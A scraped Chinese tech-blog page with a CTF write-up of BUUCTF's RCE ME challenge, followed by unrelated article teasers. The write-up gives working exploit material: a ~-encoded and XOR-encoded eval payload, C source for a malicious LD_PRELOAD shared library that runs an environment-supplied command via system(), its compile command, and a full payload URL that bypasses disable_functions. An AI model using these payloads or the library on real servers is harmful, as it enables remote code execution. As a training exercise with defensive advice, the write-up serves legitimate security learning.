news 2026/5/10 21:55:54

BUUCTF:[极客大挑战 2019]RCE ME 深度解析:从正则绕开到LD_PRELOAD的完整利用链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF:[极客大挑战 2019]RCE ME 深度解析:从正则绕开到LD_PRELOAD的完整利用链

1. 题目背景与初步分析

BUUCTF的[极客大挑战 2019]RCE ME是一道典型的PHP代码审计与绕过题目。题目给出了一个简单的PHP页面,核心代码如下:

<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("太长了"); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("太简单了"); } @eval($code); } else{ highlight_file(__FILE__); } ?>

这段代码有几个关键限制:

  1. 输入的code参数长度不能超过40个字符
  2. 不能包含任何字母和数字
  3. 最终会通过eval执行我们的输入

面对这样的限制,常规的RCE方法基本都被堵死了。我们需要找到一种既不需要字母数字,又足够简洁的payload构造方式。

2. 绕过正则限制

2.1 取反编码绕过原理

PHP中有一个非常有趣的特性:通过取反运算符(~)和URL编码,可以构造出完全不包含字母数字的payload。具体原理是:

  1. PHP允许使用~对字符串进行按位取反操作
  2. 取反后的字符串可以通过urlencode编码
  3. 最终得到的是一串百分号开头的编码,完全符合题目要求

举个例子,要执行phpinfo(),我们可以这样做:

php -r "echo urlencode(~'phpinfo');" # 输出:%8F%97%8F%96%91%99%90

然后构造payload:

?code=(~%8F%97%8F%96%91%99%90)();

这个payload完全避开了字母数字检测,长度也符合要求。

2.2 其他绕过方法对比

除了取反编码,还有几种常见的绕过方式:

  1. 异或运算:通过字符间的异或运算生成所需函数名
  2. 自增技巧:利用PHP的类型转换特性
  3. 字符串拼接:通过.运算符组合特殊字符

但在本题中,由于长度限制,取反编码是最优解。我实测过其他方法,要么长度超标,要么构造过于复杂。

3. 分析disable_functions限制

成功执行phpinfo()后,我们发现服务器配置了严格的disable_functions:

pcntl_alarm, pcntl_fork, ..., system, exec, shell_exec, popen, proc_open, passthru, ...

基本上所有能直接执行系统命令的函数都被禁用了。这意味着即使我们拿到了webshell,也无法直接执行系统命令。

这种情况下,我们需要寻找不依赖这些函数的RCE方法。经过分析,发现以下几个突破口:

  1. LD_PRELOAD环境变量劫持
  2. PHP FFI扩展(如果启用)
  3. ImageMagick漏洞(如果安装)

其中LD_PRELOAD是最可靠的方案,因为:

  • 它不依赖任何PHP函数
  • 只需要能上传文件和执行PHP代码
  • 在Linux系统上普遍可用

4. LD_PRELOAD利用详解

4.1 原理剖析

LD_PRELOAD是Linux系统的一个环境变量,它可以指定在程序运行前优先加载的动态链接库。我们可以利用这个特性:

  1. 编写一个恶意.so文件,定义一些关键函数的替代实现
  2. 通过LD_PRELOAD让目标程序加载我们的.so
  3. 当目标程序调用这些函数时,实际执行的是我们的代码

关键在于PHP的mail()函数会隐式调用外部程序sendmail,这就给了我们注入的机会。

4.2 实际操作步骤

  1. 首先准备一个恶意的C代码:
// bypass_disablefunc.c #include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { const char* cmd = getenv("CMD"); system(cmd); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
  1. 编译为共享库:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
  1. 上传.so文件到服务器(本题中/var/tmp可写)
  2. 构造最终的payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/shell.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

这个payload做了以下几件事:

  • 使用取反编码绕过初始限制
  • 包含一个特制的PHP脚本
  • 设置CMD环境变量为/readflag
  • 指定.so文件路径

5. 完整利用链总结

回顾整个利用过程,可以分为四个关键阶段:

  1. 代码审计:分析题目给出的PHP代码,理解限制条件
  2. 正则绕过:使用取反编码技术构造无字母数字的payload
  3. 环境侦察:通过phpinfo()获取服务器配置信息
  4. 权限突破:利用LD_PRELOAD绕过disable_functions限制

在实际渗透测试中,这种层层递进的思路非常实用。每个环节都需要考虑多种可能性,并选择最合适的绕过方法。

6. 防御建议

从防御角度,可以采取以下措施:

  1. 避免直接使用eval执行用户输入
  2. 使用白名单而非黑名单过滤特殊字符
  3. 限制上传目录的执行权限
  4. 定期更新PHP版本,修复已知漏洞
  5. 使用SELinux等强制访问控制机制

这道题很好地展示了安全防护的深度防御原则 - 即使突破了第一道防线,后面还应该有其他防护措施。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/10 21:53:47

GetQzonehistory:5分钟免费备份你的QQ空间青春回忆

GetQzonehistory&#xff1a;5分钟免费备份你的QQ空间青春回忆 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 还在担心那些承载青春记忆的QQ空间说说会随着时间消失吗&#xff1f;GetQ…

作者头像 李华
网站建设 2026/5/10 21:50:23

构建多轮对话应用时利用Taotoken统一API简化开发流程

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 构建多轮对话应用时利用Taotoken统一API简化开发流程 在开发智能客服、复杂对话交互或需要长期记忆的AI应用时&#xff0c;后端大模…

作者头像 李华
网站建设 2026/5/10 21:46:43

【卷卷观察】AI替你改文档,正在偷偷吃掉你的内容——25%静默损坏的真相

微软研究院测了19个主流大模型做长文档编辑。即使最强的Gemini 3.1 Pro、Claude 4.7 Opus和GPT-5.5,平均损坏25%的文档内容。而且这些错误是静默的——不逐字对比,根本看不出来。 读完DELEGATE-52论文我的反应是:卧槽,我每天都在干这事。 让AI帮忙润色文档、改代码、整理…

作者头像 李华
网站建设 2026/5/10 21:30:41

用PS+Unity粒子系统,5分钟搞定游戏里那种‘滋滋作响’的闪电材质

用PSUnity粒子系统5分钟打造高动态闪电特效 闪电特效一直是游戏开发中极具视觉冲击力的元素之一。无论是角色技能释放、场景氛围营造还是UI动效设计&#xff0c;恰到好处的闪电效果都能显著提升游戏质感。传统做法往往需要复杂Shader编程或依赖第三方插件&#xff0c;而本文将揭…

作者头像 李华
网站建设 2026/5/10 21:16:00

QtMqtt模块编译实战:从源码到集成的关键步骤与排错指南

1. 为什么需要手动编译QtMqtt模块 MQTT协议在物联网领域应用广泛&#xff0c;但Qt官方发行版中并不包含MQTT模块。这就好比买了一台组装电脑&#xff0c;却发现显卡需要自己另外安装。QtMqtt模块作为Qt的扩展组件&#xff0c;目前需要通过源码编译的方式集成到开发环境中。 我去…

作者头像 李华